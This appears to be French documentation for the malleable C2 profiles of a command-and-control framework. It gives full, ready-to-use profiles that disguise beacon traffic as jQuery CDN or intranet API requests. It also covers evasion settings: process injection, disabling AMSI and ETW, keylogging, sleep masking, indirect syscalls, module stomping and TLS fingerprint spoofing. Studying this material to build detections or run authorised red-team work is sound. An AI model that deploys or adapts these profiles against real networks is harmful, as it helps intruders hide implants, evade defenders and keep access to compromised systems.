Aller au contenu

Profils C2 malléables

Les profils C2 malléables personnalisent la manière dont le trafic HTTP des beacons apparaît sur le réseau. En définissant les URI, les en-têtes, les paramètres, le codage du corps et la mise en forme des réponses, les profils fusionnent le trafic C2 avec l'activité Web légitime pour échapper à la détection basée sur le réseau.

Les profils sont appliqués aux listeners via les champs profile_name et profile_variant.


Syntaxe du profil

Les profils utilisent un langage de configuration personnalisé avec trois types d'instructions :

Déclaration Syntaxe Objectif
Set set key "value"; Définir une option globale ou de bloc
Bloc block-name { ... } Définir un bloc nommé
Variante block-name "variant" { ... } Définir une variante nommée d'un bloc

Commentaires utilisez # pour les commentaires de ligne. Les chaînes d'échappement prennent en charge \", \\, \n, \t, \r, \x## (hex) et \u#### (unicode).

Profil valide minimal

set sleeptime "5000";
set jitter "20";
set useragent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36";

http-get {
    set uri "/api/v1/updates";
    client {
        header "Accept" "application/json";
        metadata {
            base64;
            header "Cookie";
        }
    }
    server {
        header "Content-Type" "application/json";
        output {
            base64;
            print;
        }
    }
}

http-post {
    set uri "/api/v1/submit";
    client {
        header "Content-Type" "application/json";
        id {
            base64url;
            header "X-Request-ID";
        }
        output {
            base64;
            print;
        }
    }
    server {
        header "Content-Type" "application/json";
        output {
            base64;
            print;
        }
    }
}

Options globales

Ces options sont définies au niveau supérieur du profil à l'aide des instructions set key "value";.

Calendrier et comportement

Options Type Par défaut Description
sleeptime int 60000 Intervalle de rappel du beacon en millisecondes
jitter int 0 Pourcentage de gigue de rappel (0--100). Une gigue de 20 signifie que le sommeil réel varie de ±20 % de sleeptime.
useragent chaîne Passer par défaut En-tête HTTP User-Agent envoyé par le beacon
sample_name chaîne -- Nom d'affichage du profil
data_jitter int 0 Nombre d'octets aléatoires ajoutés aux réponses du serveur (0--N). Varie la taille des réponses pour échapper aux signatures basées sur la longueur.
host_stage bool true Indique s'il faut héberger le payload pour le staging HTTP. Définissez sur false pour désactiver les payloads stagés.

Limites du tampon de tâches

Options Type Par défaut Description
tasks_max_size int 1048576 Taille maximale du tampon de tâche en octets (1 Mo)
tasks_proxy_max_size int 921600 Tampon de tâche proxy maximal pour HTTP/SMB/TCP (900 Ko)
tasks_dns_proxy_max_size int 71680 Tampon maximal des tâches de proxy DNS (70 Ko)

Contrôle d'en-tête

Options Type Par défaut Description
headers_remove chaîne -- En-têtes HTTP séparés par des virgules à supprimer des requêtes client (par exemple, "X-Forwarded-For, Via")

Empreinte digitale TLS

Options Type Par défaut Description
tls_fingerprint chaîne -- uTLS ClientHelloID prédéfini pour l’usurpation d’empreintes digitales TLS. Voir usurpation d'empreinte digitale TLS.

Heures de travail (sommeil adaptatif)

Options Type Par défaut Description
work_hours_start int 0 Heure (0--23) de début des heures de bureau
work_hours_end int 0 Heure (0--23) de fin des heures de bureau
off_hours_sleep_mult float 0 Multiplicateur de sommeil hors heures de bureau. 0 désactive le sleep adaptatif. Une valeur de 3.0 triple l'intervalle de sommeil hors heures de bureau.
work_hours_tz chaîne -- Fuseau horaire IANA pour les heures de bureau (par exemple, "America/New_York")

Blocs de transactions HTTP

Les blocs http-get et http-post définissent la manière dont le beacon communique avec le relais pour les rappels d'enregistrement et la soumission des résultats de tâches.

Structure des blocs

http-get {
    set uri "/path1 /path2";  # Space-separated URIs (random selection)
    set verb "GET";            # Optional, defaults to GET for http-get
    client { ... }
    server { ... }
}

http-post {
    set uri "/api/v1/submit";
    set verb "POST";           # Optional, defaults to POST for http-post
    client { ... }
    server { ... }
}

Bloc client

Le bloc client définit la manière dont le beacon façonne ses requêtes HTTP sortantes.

Élément Syntaxe Utilisé dans Description
En-tête header "Name" "Value"; http-get, http-post Ajouter un en-tête de requête HTTP
Paramètre parameter "Name" "Value"; http-get, http-post Ajouter un paramètre de requête URL
Métadonnées metadata { ... } http-get uniquement Chaîne de transformation pour les métadonnées des beacons
ID id { ... } http-post uniquement Chaîne de transformation pour l'ID de beacon
Sortie output { ... } http-post uniquement Chaîne de transformation pour les données de sortie des tâches

Exemple de client http-get :

client {
    header "Accept" "application/json";
    header "Accept-Language" "en-US";

    metadata {
        base64url;
        prepend "session=";
        header "Cookie";
    }
}

Exemple de client http-post :

client {
    header "Content-Type" "application/json";

    id {
        base64url;
        header "X-Request-ID";
    }

    output {
        mask;
        base64;
        print;
    }
}

Bloc serveur

Le bloc serveur définit la manière dont le relais façonne ses réponses HTTP.

Élément Syntaxe Description
En-tête header "Name" "Value"; Ajouter un en-tête de réponse HTTP
Sortie output { ... } Chaîne de transformation pour les données de réponse (tâches envoyées au beacon)

Exemple :

server {
    header "Content-Type" "application/json";
    header "Cache-Control" "no-cache";

    output {
        mask;
        base64;
        print;
    }
}

Variantes

Les variantes créent des versions nommées des blocs http-get ou http-post. Sélectionnez une variante en définissant profile_variant sur le listener.

http-get "jquery" {
    set uri "/jquery-3.6.0.min.js";
    client {
        header "Accept" "text/javascript";
        metadata {
            base64;
            prepend "return-value=";
            header "Cookie";
        }
    }
    server {
        header "Content-Type" "text/javascript";
        output {
            base64;
            prepend "/*! jQuery v3.6.0 | (c) OpenJS Foundation */\n";
            print;
        }
    }
}

Types de transformation

Les transformations sont les primitives de base de manipulation des données. Elles sont appliquées dans l’ordre (sens de codage) ou inversées (sens de décodage).

Transformations de données

Transformer Arguments Description
base64 aucun Encodage standard Base64
base64url aucun Encodage Base64 sécurisé pour les URL (pas de remplissage)
netbios aucun Codage minuscule NetBIOS (chaque octet devient deux caractères)
netbiosu aucun Codage majuscule NetBIOS
mask aucun Masque XOR avec clé aléatoire de 4 octets (clé ajoutée à la sortie)
prepend "string" Ajouter une chaîne fixe aux données
append "string" Ajouter une chaîne fixe aux données
strrep "old" "new" Remplacer la chaîne dans le binaire PE (transformations d'étape uniquement)
strrepex "DLL" "old" "new" Remplacer la chaîne dans une section DLL spécifique (transformations d'étape uniquement)

Instructions terminales

Chaque chaîne de transformation doit se terminer par une instruction terminale qui indique où placer les données transformées.

Terminateur Arguments Description
header "Name"; Nom de l'en-tête Stocker dans l'en-tête HTTP spécifié
parameter "Name"; Nom du paramètre Stocker dans un paramètre de requête URL
print; aucun Stocker dans le corps HTTP
uri-append; aucun Ajouter au chemin de l'URI

Chaîne de transformation annotée

metadata {
    base64;              # 1. Base64-encode the raw metadata bytes
    prepend "session=";  # 2. Prepend "session=" to create a cookie value
    header "Cookie";     # 3. Place the result in the Cookie header
}

Sens d'encodage (envoi de beacon) : octets bruts → base64 → préfixer "session=" → stocké dans l'en-tête du cookie.

Direction du décodage (réception relais) : extraire de l'en-tête du cookie → supprimer le préfixe "session=" → décodage base64 → octets bruts.

Un autre exemple

output {
    mask;                # 1. XOR with random 4-byte key (key prepended)
    base64;              # 2. Base64-encode the masked data
    append "<!-- page content -->";  # 3. Append HTML comment
    print;               # 4. Place in HTTP body
}

Autres blocs de profil

http-stager

Personnalise la transaction de staging HTTP (téléchargement du payload). Utilise la même structure client { } et server { } que http-get.

http-stager {
    set uri_x86 "/api/v1/updates/x86";
    set uri_x64 "/api/v1/updates/x64";
    client {
        header "Accept" "application/octet-stream";
    }
    server {
        header "Content-Type" "application/octet-stream";
        output {
            print;
        }
    }
}

http-config

Configuration HTTP globale appliquée à toutes les transactions.

http-config {
    set trust_x_forwarded_for "true";
    set block_useragents "curl wget python";
    set allow_useragents "*";
    set headers "Date, Server, Content-Length";
    header "Server" "Microsoft-IIS/10.0";
    header "X-Powered-By" "ASP.NET";
}
Options Description
trust_x_forwarded_for Utilisez X-Forwarded-For pour la résolution IP du client
block_useragents Agents utilisateurs séparés par des espaces à rejeter
allow_useragents Agents utilisateurs séparés par des espaces pour permettre
headers Ordre des en-têtes de réponses séparés par des virgules

https-certificate

Configuration du certificat TLS pour les listeners HTTPS.

https-certificate {
    set C "US";
    set CN "www.example.com";
    set O "Example Corp";
    set OU "IT Department";
    set L "New York";
    set ST "New York";
    set validity "365";
    set keystore "keystore.p12";
    set password "changeit";
}

code-signer

Configuration de signature de code pour les binaires de payload.

code-signer {
    set keystore "codesign.p12";
    set password "changeit";
    set alias "codesign";
    set digest_algorithm "SHA256";
    set timestamp "true";
    set timestamp_url "http://timestamp.digicert.com";
}

processus d'injection

Contrôle la manière dont le beacon injecte le code dans les processus distants.

process-inject {
    set allocator "NtMapViewOfSection";
    set min_alloc "16384";
    set startrwx "false";
    set userwx "false";

    transform-x86 {
        prepend "\x90\x90\x90";
    }

    transform-x64 {
        prepend "\x90\x90\x90";
    }

    execute {
        CreateThread;
        CreateRemoteThread;
        SetThreadContext;
        RtlCreateUserThread;
        NtQueueApcThread-s;
    }
}
Options Description
allocator Allocateur de mémoire : VirtualAllocEx ou NtMapViewOfSection
bof_allocator Allocateur BOF : VirtualAlloc, MapViewOfFile, HeapAlloc
min_alloc Taille d'allocation minimale en octets
startrwx Commencez avec les autorisations RWX (true/false)
userwx Utiliser les autorisations RWX pour la mémoire finale (true/false)
use_driploading Activer le chargement goutte à goutte pendant l'injection

post-ex

Paramètres de comportement post-exploitation.

post-ex {
    set spawnto_x86 "%windir%\\syswow64\\rundll32.exe";
    set spawnto_x64 "%windir%\\sysnative\\rundll32.exe";
    set obfuscate "true";
    set smartinject "true";
    set amsi_disable "true";
    set etw_disable "true";
    set pipename "msagent_##";
    set keylogger "SetWindowsHookEx";
    set cleanup "true";
}
Options Description
spawnto_x86 / spawnto_x64 Processus de sacrifice pour les opérations fork-and-run
obfuscate Obscurcir les chaînes en mémoire
smartinject Injection intelligente (éviter l’auto-injection)
amsi_disable Désactiver AMSI avant les opérations post-ex
etw_disable Désactiver ETW avant les opérations post-ex
pipename Nom du canal nommé pour la communication post-ex
keylogger Méthode Keylogger : SetWindowsHookEx ou GetAsyncKeyState
cleanup Nettoyer les DLL post-ex après l'exécution

stage

Configuration de l'étape de payload contrôlant la façon dont la DLL de beacon est préparée et chargée.

stage {
    set sleep_mask "true";
    set syscall_method "Indirect";
    set obfuscate "true";
    set cleanup "true";
    set userwx "false";
    set rdll_loader "PrependLoader";
    set stomppe "ntdll.dll";
    set module_x64 "xpsservices.dll";

    transform-x86 {
        strrep "ReflectiveLoader" "";
        strrep "beacon.dll" "";
    }

    transform-x64 {
        strrep "ReflectiveLoader" "";
        strrep "beacon.dll" "";
    }

    transform-obfuscate {
        rc4 "64";
        base64;
    }
}
Options Description
sleep_mask Chiffrer le beacon en mémoire pendant le sommeil
syscall_method Méthode d'appel système : None, Direct, Indirect
obfuscate Obfusquer le stage du beacon
cleanup Nettoyer les artefacts de préparation
rdll_loader Chargeur réfléchissant : PrependLoader ou StompLoader
module_x86 / module_x64 DLL pour le piétinement de modules
stomppe PE à piétiner pour le chargement en mémoire
data_store_size Nombre d'entrées du magasin de données (16 par défaut)

beacon_gate

Configure les API Windows acheminées via les appels système indirects de BeaconGate. Imbriqué à l'intérieur du bloc stage.

stage {
    beacon_gate {
        set mode "Core";
        # Or add individual APIs:
        # VirtualAlloc;
        # CreateRemoteThread;
    }
}
Mode API incluses
None Aucune API
Core VirtualAlloc, VirtualAllocEx, VirtualProtect, VirtualProtectEx, VirtualFree, VirtualQuery, CreateThread, CreateRemoteThread, OpenProcess, OpenThread, ReadProcessMemory, WriteProcessMemory, CloseHandle, DuplicateHandle, MapViewOfFile, UnMapViewOfFile, CreateFileMappingA, GetThreadContext, SetThreadContext, ResumeThread
Comms InternetOpenA, InternetConnectA
Cleanup ExitThread
All Noyau + Communications + Nettoyage

Les noms d'API individuels peuvent être répertoriés sous forme d'instructions simples pour étendre la sélection de mode.

dns-beacon

Configuration du canal DNS. Consultez la page Listeners DNS pour plus de détails.

dns-beacon {
    set dns_idle "0.0.0.0";
    set dns_max_txt "252";
    set dns_sleep "0";
    set dns_ttl "1";
    set beacon "d.example.com";
    set get_A "d1.example.com";
    set get_AAAA "d2.example.com";
    set get_TXT "d3.example.com";
    set put_output "d4.example.com";
}

beacon-smb

Paramètres P2P du canal nommé SMB. Consultez la page Listeners SMB pour plus de détails opérationnels.

smb-beacon {
    set pipename "msagent_##";
    set pipename_stager "status_##";
    set smb_frame_header "";
}

tcp-beacon

Paramètres P2P de liaison TCP.

tcp-beacon {
    set tcp_port "4444";
    set tcp_frame_header "";
}

http-beacon

Sélection de la bibliothèque HTTP et exigences en matière de données.

http-beacon {
    set library "wininet";
    set data_required "true";
    set data_required_length "100-200";
}
Options Description
library Bibliothèque HTTP : wininet (par défaut) ou winhttp
data_required Envoyer des données dans tous les rappels (remplissage si aucune donnée réelle)
data_required_length Fixe ou plage pour la longueur de données requise (par exemple, "100", "50-200")

Exemples de profils annotés

Exemple 1 : profil jQuery CDN

Ce profil imite les modèles de trafic jQuery CDN avec des types de contenu appropriés, des en-têtes de mise en cache et une livraison de métadonnées basées sur les cookies.

# jQuery CDN Traffic Profile
# Mimics requests to a jQuery CDN for C2 communication

set sleeptime "30000";
set jitter "25";
set useragent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36";
set data_jitter "50";

http-get "jquery" {
    set uri "/jquery-3.6.0.min.js /jquery-3.6.0.slim.min.js /jquery-3.7.1.min.js";

    client {
        header "Accept" "text/javascript, application/javascript, */*";
        header "Accept-Language" "en-US,en;q=0.9";
        header "Referer" "https://code.jquery.com/";

        metadata {
            base64url;
            prepend "__cf_bm=";
            header "Cookie";
        }
    }

    server {
        header "Content-Type" "application/javascript; charset=utf-8";
        header "Cache-Control" "public, max-age=31536000";
        header "X-Content-Type-Options" "nosniff";
        header "Access-Control-Allow-Origin" "*";

        output {
            mask;
            base64;
            prepend "/*! jQuery v3.6.0 | (c) OpenJS Foundation and other contributors | jquery.org/license */\n!function(e,t){\"use strict\";";
            append "\n}(window);";
            print;
        }
    }
}

http-post "jquery" {
    set uri "/jquery-3.6.0.min.map /jquery-3.7.1.min.map";

    client {
        header "Content-Type" "application/json";
        header "Accept" "application/json";

        id {
            base64url;
            parameter "v";
        }

        output {
            mask;
            base64;
            print;
        }
    }

    server {
        header "Content-Type" "application/json";
        header "Cache-Control" "no-store";

        output {
            mask;
            base64;
            prepend "{\"version\":\"3.6.0\",\"sources\":[],\"mappings\":\"";
            append "\"}";
            print;
        }
    }
}

Exemple 2 : profil d'API intranet d'entreprise

Ce profil imite le trafic interne de l'API REST avec des payloads JSON, des en-têtes personnalisés et une prise en compte des heures de bureau.

# Corporate Intranet API Profile
# Mimics traffic to an internal telemetry/status API

set sleeptime "15000";
set jitter "30";
set useragent "TelemetryAgent/2.1 (Windows NT 10.0; Enterprise)";

# Work hours: 8 AM - 6 PM Eastern, triple sleep outside hours
set work_hours_start "8";
set work_hours_end "18";
set off_hours_sleep_mult "3.0";
set work_hours_tz "America/New_York";

# TLS fingerprint matching the User-Agent
set tls_fingerprint "chrome_auto";

http-get {
    set uri "/api/v1/status /api/v1/health /api/v1/config";

    client {
        header "Accept" "application/json";
        header "X-API-Version" "2.1";
        header "X-Client-Platform" "win10-enterprise";

        metadata {
            base64url;
            header "X-Session-Token";
        }
    }

    server {
        header "Content-Type" "application/json; charset=utf-8";
        header "X-Request-Id" "a]b1c2d3-e4f5-6789-abcd-ef0123456789";
        header "Cache-Control" "no-cache, no-store";

        output {
            mask;
            base64;
            prepend "{\"status\":\"ok\",\"timestamp\":\"2026-01-15T10:30:00Z\",\"data\":\"";
            append "\",\"version\":\"2.1.0\"}";
            print;
        }
    }
}

http-post {
    set uri "/api/v1/telemetry /api/v1/events";

    client {
        header "Content-Type" "application/json";
        header "X-API-Version" "2.1";

        id {
            base64url;
            header "X-Correlation-ID";
        }

        output {
            mask;
            base64;
            prepend "{\"events\":[{\"type\":\"metric\",\"payload\":\"";
            append "\"}]}";
            print;
        }
    }

    server {
        header "Content-Type" "application/json";

        output {
            mask;
            base64;
            prepend "{\"accepted\":true,\"id\":\"";
            append "\"}";
            print;
        }
    }
}

# Harden staging
http-stager {
    set uri_x86 "/api/v1/updates/agent-x86";
    set uri_x64 "/api/v1/updates/agent-x64";
    client {
        header "Accept" "application/octet-stream";
        header "X-Update-Channel" "stable";
    }
    server {
        header "Content-Type" "application/octet-stream";
        output {
            print;
        }
    }
}

# Post-exploitation OPSEC
post-ex {
    set spawnto_x86 "%windir%\\syswow64\\gpupdate.exe";
    set spawnto_x64 "%windir%\\sysnative\\gpupdate.exe";
    set obfuscate "true";
    set smartinject "true";
    set amsi_disable "true";
    set pipename "telemetry_##";
}

Application de profils aux listeners

Définir un profil

Lors de la création ou de la mise à jour d'un listener, définissez le champ profile_name pour charger un profil et éventuellement profile_variant pour sélectionner une variante spécifique.

# Create listener with profile
curl -s -X POST https://stentor.app/api/v1/listeners \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "name": "HTTPS with jQuery Profile",
    "type": "https",
    "relay_id": "aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee",
    "port": 443,
    "profile_name": "jquery-cdn",
    "profile_variant": "jquery"
  }'

Mise à jour du profil d'un listener existant

curl -s -X PUT "https://stentor.app/api/v1/listeners/$LISTENER_ID" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "profile_name": "corporate-api",
    "profile_variant": null
  }'

La définition de profile_variant sur null utilise les blocs par défaut (non variantes).

Validation du profil

Les profils sont analysés au moment du chargement. Une syntaxe non valide génère des erreurs d'analyse qui sont renvoyées dans la réponse de l'API. Testez vos profils avant de les déployer sur des listeners de production.


Usurpation d’empreintes digitales TLS

L'option globale tls_fingerprint configure le beacon pour utiliser uTLS afin d'usurper l'empreinte TLS ClientHello, et faire apparaître la négociation TLS comme provenant d'un navigateur spécifique.

Préréglages disponibles

Préréglage Navigateur
chrome_auto Dernier Chrome (mise à jour automatique)
chrome_120 Chrome 120
chrome_131 Chrome 131
chrome_133 Chrome 133
firefox_auto Dernier Firefox (mise à jour automatique)

Utilisation :

set tls_fingerprint "chrome_auto";
set useragent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36";

Cohérence

Faites toujours correspondre le tls_fingerprint au useragent. Un agent utilisateur Chrome avec une empreinte digitale Firefox TLS est un indicateur de détection. Utilisez chrome_auto avec un agent utilisateur Chrome ou firefox_auto avec un agent utilisateur Firefox.


Référence du bloc de profil

Référence rapide pour tous les blocs de profil pris en charge :

Bloc Objectif Options clés
http-get Rappel d'enregistrement par beacon uri, verb, client {}, server {}
http-post Soumission du résultat de la tâche uri, verb, client {}, server {}
http-stager Téléchargement du payload stagé uri_x86, uri_x64, client {}, server {}
http-config Paramètres HTTP globaux trust_x_forwarded_for, block_useragents, headers
https-certificate Champs du certificat TLS C, CN, O, OU, validity, keystore
code-signer Configuration de signature de code keystore, password, alias, digest_algorithm
process-inject Comportement d'injection allocator, min_alloc, startrwx, execute {}
post-ex Paramètres post-exploitation spawnto_*, obfuscate, amsi_disable, pipename
stage Configuration de l'étape de payload sleep_mask, syscall_method, rdll_loader, transform-*
beacon_gate Routage d'API via syscalls mode (None/Core/Comms/Cleanup/All), API individuelles
dns-beacon Configuration du canal DNS dns_idle, dns_max_txt, beacon, get_A, get_TXT
smb-beacon Configuration P2P du canal SMB pipename, pipename_stager, smb_frame_header
tcp-beacon Configuration P2P de liaison TCP tcp_port, tcp_frame_header
http-beacon Sélection de la bibliothèque HTTP library, data_required, data_required_length